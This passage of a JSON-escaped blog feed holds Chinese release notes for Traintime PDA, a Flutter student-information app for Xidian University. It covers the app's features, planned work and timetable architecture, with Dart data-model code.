id=\"课程表代码变化\"\u003e课程表代码变化\u003c/h3\u003e\n\u003cp\u003e为了将来看得方便,我使用了 InheritedWidget 部件来存储课程表数据。课程表数据相关,请看我之前写的东西。Flutter 有组件树和渲染树,我理解不多,但我知道 InheritedWidget 组件相当于存有数据的树根,在其底下的孩子都可以读取这里的数据。这样就能跨部件共享数据了。实际上这个东西我们早就用过了,当时那篇介绍文章使用的是 \u003ccode\u003eMediaQuery.of(context).size\u003c/code\u003e 来举例。\u003c/p\u003e\n\u003cp\u003e关于周次选择轴/滚动锁和页面控制器,貌似 InhheritedWidget 不喜欢变化很大的数据,还是在组件里初始化啥的,我只好写在了别的类。为了保证子部件好监听,我使用了 ChangeNotifier 让他们监听。不过貌似只用在了解锁最顶部的锁:-p\u003c/p\u003e\n\u003cp\u003e还有个问题,就是最顶部的初始滚动。目前刚打开的情况下,如果周次很靠后,可能会出现弹的情况。这个要解决,我得保证屏幕变化的时候,我能保证屏幕宽度的数据能让监听器有所察觉。这块……反正我是有点迷糊,不过感觉无伤大碍(希望)。\u003c/p\u003e\n\u003ch2 id=\"结语\"\u003e结语\u003c/h2\u003e\n\u003cp\u003e这就是 v0.2.0 的发行简记,感谢阅读。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/traintime-pda-v0.2.0-release-note.html"},{"title":"Traintime PDA v0.1.0 发行简记","time":"2023-07-29T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://legacy.superbart.xyz/picture/xdyou/homepage.jpg\" alt=\"Featured image of post Traintime PDA v0.1.0 发行简记\"/\u003e\u003cp\u003e终于,经过一年多的断断续续的编写,Traintime PDA v0.1.0 发布了。虽然功能还算较少,但可以算是稳定版了。\nTraintime PDA 是西电同志们的又一个个人信息查看应用,很明显,是电表的模仿产品。\u003c/p\u003e\n\u003cp\u003ev0.1.0 可以算是这个软件第一个稳定版本,我自然需要花上一小段篇幅来跟大家介绍这个软件。\u003c/p\u003e\n\u003cp\u003e说是发行简记,实际上我要写很多的技术相关细节。\u003c/p\u003e\n\u003ch2 id=\"功能介绍\"\u003e功能介绍\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e根据Timetable重写的 Flutter 课程表,这个课程表我尽力模仿这个插件,解决课程冲突,还能添加一张背景图片,能挂着你喜欢的 idol 之类()\n\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/xdyou/classtable.jpg\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/xdyou/classtable.jpg\" loading=\"lazy\" alt=\"课程表页面\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e课程表页面\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/li\u003e\n\u003cli\u003e体育查询,打卡记录和体测成绩。\n\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/xdyou/sport.jpg\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/xdyou/sport.jpg\" loading=\"lazy\" alt=\"体育查询页面\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e体育查询页面\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/li\u003e\n\u003cli\u003e成绩查询,包括可以自行选择科目计算均分。计算均分功能看来同学们十分喜欢使用,但我是大摆子(逃)\n\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/xdyou/score.jpg\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/xdyou/score.jpg\" loading=\"lazy\" alt=\"成绩计算\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e成绩计算\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/li\u003e\n\u003cli\u003e自行选择学期的考试安排查询,自行选择学期功能是疫情的后遗症。\n\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/xdyou/exam.jpg\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/xdyou/exam.jpg\" loading=\"lazy\" alt=\"考试查询\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e考试查询\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/li\u003e\n\u003cli\u003e电量查询和欠费查询,这个功能只是在首页上的卡片。\u003c/li\u003e\n\u003cli\u003e校园卡流水查询和(如果有的话)校园卡余额查询。 \u003cbr/\u003e\n(显示余额功能我考虑到手机支付十分广泛,首页就不显示了)\n\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/xdyou/school.card.record.jpg\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/xdyou/school.card.record.jpg\" loading=\"lazy\" alt=\"流水查询\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e流水查询\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/li\u003e\n\u003cli\u003e图书馆信息查询,个人借书状况和学校书库状况。 \u003cbr/\u003e\n(扫码借书,扫码转借功能担心风险,尚未支持)\n\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/xdyou/library.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/xdyou/library.png\" loading=\"lazy\" alt=\"图书馆信息\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e图书馆信息\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/li\u003e\n\u003cli\u003e西电目录,曾经在疫情封校期间运行的学校综合楼目录 + 食堂目录。\n\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/xdyou/xddir.jpg\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/xdyou/xddir.jpg\" loading=\"lazy\" alt=\"西电目录\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e西电目录\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/li\u003e\n\u003cli\u003eXDU Planet:查看同学的博客,富含先辈的恩情(学习资料),另该功能代行转发学校教务处通知。\n\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/xdyou/xduplanet.jpg\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/xdyou/xduplanet.jpg\" loading=\"lazy\" alt=\"XDU Planet\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003eXDU Planet\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"关于相比电表的优势\"\u003e关于相比电表的优势\u003c/h2\u003e\n\u003cp\u003e我的程序打不过电表,这是肯定的。但我可以说出几点我的软件优势。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e我的程序使用 Flutter 开发,天生能适应 iOS 和 Android 两个移动端,使用范围肯定更广。我已经为 iOS 和 Android 都编译了目标端,在双端的运行效率都很流畅。\u003c/li\u003e\n\u003cli\u003e我的程序代码完全开源,而且结构清晰明了。我给我的程序编写了\u003ca class=\"link\" href=\"https://legacy.superbart.xyz/writing/XDYou%20SAD.html\" target=\"_blank\" rel=\"noopener\"\u003e架构图介绍\u003c/a\u003e。这么做,可以保证别人可以阅读我的代码,然后修改代码,诞生他们学校的学生信息查看应用。而且我确信,这个是最能在开发者方面,保障用户隐私的最好方式。\u003c/li\u003e\n\u003cli\u003e我的程序一定程度上适配了横屏,平板使用体验应该更好。看看上面图书馆的图片就能看出来了。\u003c/li\u003e\n\u003cli\u003e我的程序很不正经。首先,开发者很不正经,而且保守的不得了;其次,程序里充满了彩蛋,甚至,我的字很好看(不是)。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"关于接下来的任务\"\u003e关于接下来的任务\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e空闲教室查看功能,这个我感觉使用量应该不高(也许是因为我是个大摆子)\u003c/li\u003e\n\u003cli\u003e物理实验查询,我目前不做实验了,所以可能得找人帮忙了()\u003c/li\u003e\n\u003cli\u003e校园网流量查询,目前学校校园网免费,啥时候要收费我赶紧写一个\u003c/li\u003e\n\u003cli\u003e很多的 WebView 功能,比如报修啥的,我需要进一步研究\u003c/li\u003e\n\u003cli\u003eiOS 和 Android 小部件,我需要进一步研究,而且感觉影响不大\u003c/li\u003e\n\u003cli\u003e扫码借书,扫码转借。这个我担心会对学校库存有所影响,而且难以测试,所以暂时不写\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"关于技术相关\"\u003e关于技术相关\u003c/h2\u003e\n\u003cp\u003e这些东西是进一步介绍我程序里面的技术,很多在我看来不是最优解,欢迎大家指正。\u003c/p\u003e\n\u003cp\u003e我之前写了两篇:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e关于我们学校的系统后端,只有一站式服务中心\u003c/li\u003e\n\u003cli\u003e关于我程序的架构\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e可能以后版本的发行简记不会这么详细了吧。\u003c/p\u003e\n\u003ch3 id=\"课程表\"\u003e课程表\u003c/h3\u003e\n\u003cp\u003e这里我尽量用 MVVC 模式介绍。\u003c/p\u003e\n\u003cp\u003e课程表写在了一个 StatefulWidget 里,方便维持一整个页面的状态,这个就是 View 。课程表的业务代码已经全部剥离到 classtable_controller.dart 里面,这个就是 Controller。\u003c/p\u003e\n\u003cp\u003e关于如何将 Controller 里数据传输到部件方面,也就是 ViewModel 方面,我使用的 GetX 框架,用了他两个状态管理方式,我再啰嗦一句吧:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e.obs + Obx()\u003c/code\u003e将数据和状态绑定,部件观察数据更新而进行更新,这个是单向的状态传递;\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eController.update() + 控制器注入或绑定到部件\u003c/code\u003e,这个方式可以让部件发起控制器更新,是双向的。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e课程表使用的是后一种,使用 \u003ccode\u003eGet.put()\u003c/code\u003e 方式,将控制器注入到课程表部件里面。\u003c/p\u003e\n\u003cp\u003e最后,是关于 Model 方面,这个是 Repo 里的东西,这里省去。\u003c/p\u003e\n\u003ch4 id=\"数据模型介绍\"\u003e数据模型介绍\u003c/h4\u003e\n\u003cp\u003e这里我先介绍数据模型,也就是我将学校数据处理后的结果。文件在 lib/model/xidian_ids/classtable.dart 。\u003c/p\u003e\n\u003cp\u003e提前说明,有关于 json 序列化模板代码可以忽略。\u003c/p\u003e\n\u003ch5 id=\"课程信息\"\u003e课程信息\u003c/h5\u003e\n\u003cp\u003e包括课程名称及序号,教师名称,和班级序号。这里有很多可选选项,只能说学校就这么搞的()\n涉及到渲染时候判断课程信息相同,我重载了 hashCode 和 == 运算符。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eJsonSerializable\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003eexplicitToJson:\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eClassDetail\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 名称\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003eteacher\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 老师\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003ecode\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 课程序号\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003enumber\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 班级序号\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e/// 略去初始化代码\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"kd\"\u003eget\u003c/span\u003e \u003cspan class=\"n\"\u003ehashCode\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ehashCode\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"kd\"\u003eoperator\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eObject\u003c/span\u003e \u003cspan class=\"n\"\u003eother\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eother\u003c/span\u003e \u003cspan class=\"k\"\u003eis\u003c/span\u003e \u003cspan class=\"n\"\u003eClassDetail\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eother\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eruntimeType\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"n\"\u003eruntimeType\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ename\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"n\"\u003eother\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch5 id=\"时间安排\"\u003e时间安排\u003c/h5\u003e\n\u003cp\u003e包括以下部分:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e课程索引,也就是上面课程信息在课程信息数组中的位置。下面我将介绍课程信息数组。\u003c/li\u003e\n\u003cli\u003e上课周次,这里我继承了学校处理这个信息的方式。学校返回的是 0 和 1 组成的数组,0 代表这周没课程,1 代表这周有课。\u003c/li\u003e\n\u003cli\u003e星期几上课,第几节上课,第几节下课。请注意这里是将一天分成十节课来处理的,课程时间参见文件。\u003c/li\u003e\n\u003cli\u003e一个可选的教室信息。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e另外有一个引申变量:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e上课长度就是下课减去上课。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eJsonSerializable\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003eexplicitToJson:\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eTimeArrangement\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 课程索引\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 返回的是 0 和 1 组成的数组,0 代表这周没课程,1 代表这周有课\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eJsonKey\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ename:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;week_list\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003eweekList\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 上课周次\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eday\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 星期几上课\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003estart\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 上课开始\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003estop\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 上课结束\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eJsonKey\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003eincludeIfNull:\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003eclassroom\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 上课教室\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"kd\"\u003eget\u003c/span\u003e \u003cspan class=\"n\"\u003estep\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003estop\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003estart\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 上课长度\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e/// 略去初始化代码\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch5 id=\"总体信息\"\u003e总体信息\u003c/h5\u003e\n\u003cp\u003e不仅包括上面提到的东西,还包括:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e学期长度:通过所有时间安排的上课周次数组中,最长的那个。\u003c/li\u003e\n\u003cli\u003e开学日期和当前学期代码。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eJsonSerializable\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003eexplicitToJson:\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eClassTableData\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003esemesterLength\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003esemesterCode\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etermStartDay\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eClassDetail\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eclassDetail\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eClassDetail\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003enotArranged\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTimeArrangement\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003etimeArrangement\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e/// 略去初始化代码\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"控制器文件\"\u003e控制器文件\u003c/h4\u003e\n\u003cp\u003e控制器里包括了:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e课程数据,默认是空的。\u003c/li\u003e\n\u003cli\u003e预先渲染好的课程表数据。\u003c/li\u003e\n\u003cli\u003e当前是全学期第几周。\u003c/li\u003e\n\u003cli\u003e当前课程信息。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5 id=\"日期相关计算\"\u003e日期相关计算\u003c/h5\u003e\n\u003cp\u003e首先,我的课程表要处理课次偏移信息,所以在获取学校的开学日期后,还得加减相应的周次,虽然可以不搞的()\u003c/p\u003e\n\u003cp\u003e计算利用到开学日期,一个公式就可以解决:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ecurrentWeek\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eJiffy\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003edayOfYear\u003c/span\u003e \u003cspan 